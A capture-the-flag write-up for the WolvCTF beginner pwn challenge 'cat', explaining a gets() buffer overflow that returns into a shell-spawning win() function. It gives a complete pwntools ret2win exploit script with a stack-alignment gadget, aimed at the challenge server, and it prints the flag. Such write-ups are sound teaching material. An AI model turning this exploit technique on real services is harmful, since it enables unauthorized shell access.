Tags: warmup pwn 

Rating: 5.0

# cat - Beginner (50 pts)

## Description
> meow
>
> `nc cat.wolvctf.io 1337`

### Provided files
c_llenge - 64-bit ELF executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=5kXe1neKxOAAjE6)\]
callenge.c - the source code for the executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=WEfUR4fytEbkXgf)\]
Makefile - Makefile used to build the executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=UZu5Vtv4MSILC2I)\]
Dockerfile - Dockerfile used to host the challenge \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=Enjowhsn8lsh9ZS)\]

## Ideas and observations
1. based on the source code, the program prints some preamble, uses `gets()` to read user input into a buffer of 128 bytes, prints the buffer out and exits
2. there's a `win()` function not called in the code that prints a message and spawns a shell with `system()`

## Notes
1. a ret2win buffer overflow
2. binary is 64-bit, so stack needs to be 16-byte aligned or `system()` will SEGFAULT

## Solution script
```python
from pwn import *

exe = ELF("challenge")
context.binary = exe

p = process(exe.path)
p.recvuntil(b"dangerous!\n")
p.sendline(cyclic(250, n=8))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8), n=8)

rop = ROP(exe)
ret=rop.find_gadget(["ret"])
rop.raw(offset * b"A")
rop.call(ret)
rop.call(exe.symbols.win)

r = remote("cat.wolvctf.io", 1337)
r.recvuntil(b"dangerous!\n")
r.sendline(rop.chain())
r.recv()
r.sendline(b'cat flag.txt')
print(r.recvS().strip())
r.close()
```

`wctf{d0n+_r0ll_y0ur_0wn_c_:3}`

Original writeup (https://gist.github.com/shinmai/5720d1f0a214d0878cfb530eb975c469#cat---beginner-50-pts).